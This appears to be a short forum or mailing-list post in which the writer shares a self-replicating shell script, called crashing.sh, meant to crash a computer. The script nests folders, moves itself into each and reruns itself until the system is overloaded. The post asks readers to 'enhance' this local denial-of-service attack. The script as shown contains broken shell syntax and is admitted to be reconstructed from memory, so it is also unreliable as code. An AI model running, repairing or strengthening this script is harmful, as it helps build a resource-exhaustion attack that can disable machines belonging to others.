    I have developed a small but effecteive local DoS fork bomb, which through a
    shell script creates folders within folders, then moves itself to the new
    folder, worming throughout the hard drive. eventually the computer is
    overloaded with crashes, and the fork service fails. I was hoping I could
    have some help developing this(note: this isnt the exact script, just what i
    remember from it. it was originally more complicated and travelled around
    the HD a lot more):
    crashing.sh
    $i=$i+1
    echo crashing
    mkdir $i
    mv crashing.sh $i/crashing.sh
    cd $i
    ./crashing.sh

    anyway to enhance this?

    thanks in advance,

    Ben Greenberg
